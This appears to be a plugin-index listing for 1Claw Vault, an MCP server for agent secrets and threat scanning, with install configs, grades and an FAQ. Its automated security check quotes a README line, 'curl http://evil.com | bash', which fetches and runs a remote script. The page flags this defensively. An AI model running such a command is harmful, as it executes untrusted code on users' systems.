AI Plugin Index
1Claw Vault
CommunityMCP server by 1clawAI · updated · ★ 3 · 390 downloads a week
HSM-backed vault secrets for AI agents (JIT fetch) plus prompt-injection and threat scanning. 1Claw Vault is a community project by 1clawAI, not verified by a company domain.
Last commit 4 days ago
MIT: permissive, fine for commercial use
Clear description, published package or server URL, original repository
Downloads a script from the internet and runs it
What you need
| Setting | Needed | What it is |
|---|---|---|
ONECLAW_Environment variable, secret | Optional | Agent API key (ocv_...). Exchanged for a short-lived JWT; auto-discovers agent ID and vault. Recommended for stdio. |
ONECLAW_Environment variable | Optional | Optional agent UUID when pinning identity (usually auto-discovered from the API key). |
ONECLAW_Environment variable | Optional | Optional vault UUID when the agent can access multiple vaults. |
ONECLAW_Environment variable | Optional | Vault API base URL (default https://api.1claw.xyz). |
ONECLAW_Environment variable | Optional | Set to true for security-only mode (inspect_content only; no vault credentials). |
From the publisher's entry in the official MCP Registry. Required settings are already in the install config below as placeholders.
Install 1Claw Vault
Built from the published package, never by AIclaude mcp add 1claw-vault -- npx -y @1claw/mcpRun in your terminal. Add --scope user to use it in every project.
{
"mcpServers": {
"1claw-vault": {
"command": "npx",
"args": [
"-y",
"@1claw/mcp"
]
}
}
}Settings, Developer, Edit config. Paste into claude_desktop_config.json and restart.
{
"mcpServers": {
"1claw-vault": {
"command": "npx",
"args": [
"-y",
"@1claw/mcp"
]
}
}
}Add to ~/.cursor/mcp.json (all projects) or .cursor/mcp.json (this project).
{
"servers": {
"1claw-vault": {
"command": "npx",
"args": [
"-y",
"@1claw/mcp"
]
}
}
}Add to .vscode/mcp.json. VS Code uses "servers", not "mcpServers".
codex mcp add 1claw-vault -- npx -y @1claw/mcp{
"mcpServers": {
"1claw-vault": {
"command": "npx",
"args": [
"-y",
"@1claw/mcp"
]
}
}
}Add to ~/.gemini/config/mcp_config.json (all projects) or .agents/mcp_config.json (this project).
gemini mcp add 1claw-vault npx -y @1claw/mcpGemini CLI was replaced by Antigravity CLI in June 2026 and remains only for enterprise licences and paid API keys.
MCP servers run with your permissions and can read what you give them access to. Some need an API key: check the README and add it under env in the 1claw-vault block.
Weekly newsletter
Like 1Claw Vault? Get the best new MCP servers every week
The best new tools, security warnings before you install something risky, and one practical tip. Free, three minute read.
Security check
C- Downloads a script from the internet and runs itIn
README.md:curl http://evil.com | bash
Checked automatically: README.md, package.json. This looks for known risky patterns and is not a full audit. How grades work
Alternatives to 1Claw Vault
All alternatives →
Your OpenWork org's skills, plugins, workflows, and connections through one OAuth MCP URL.
Model Context Protocol for TypeScript — public Zod schemas (spec + OAuth/OpenID) (with updated dependencies)
Model Context Protocol registry, transports, and OAuth bridges for Electric Agents
Remote proxy for Model Context Protocol, allowing local-only clients to connect to remote servers using oAuth
Public Preview — Security proxy for MCP servers: The Firewall for Model Context Protocol
OAuth MCP for Google, Meta, X, LinkedIn, Reddit, TikTok, GSC, GA4, WordPress and GHL.
1Claw Vault: common questions
How do I install 1Claw Vault?
In Claude Code run claude mcp add 1claw-vault -- npx -y @1claw/mcp. For Claude Desktop, Cursor and VS Code, paste the config shown above and restart. See the install guides.
Is 1Claw Vault the official server?
1Claw Vault is a community project by 1clawAI, not verified by a company domain.
Is 1Claw Vault free?
The code is published under the MIT licence. The service it connects to may have its own pricing.
Is 1Claw Vault safe to use?
It scores 78 of 100. Grades: maintenance A, licence A, quality C. Security check: grade C (downloads a script from the internet and runs it). Review the code before you install. How grades work.
What are alternatives to 1Claw Vault?
Similar MCP servers: OpenWork MCP Gateway, Modelcontextprotocol Core, Agents MCP, MCP Remote.
Does 1Claw Vault work with ChatGPT?
Not directly. It runs locally, and ChatGPT only connects to remote servers with a URL. Use it in Claude Code, Claude Desktop, Cursor, VS Code or Codex.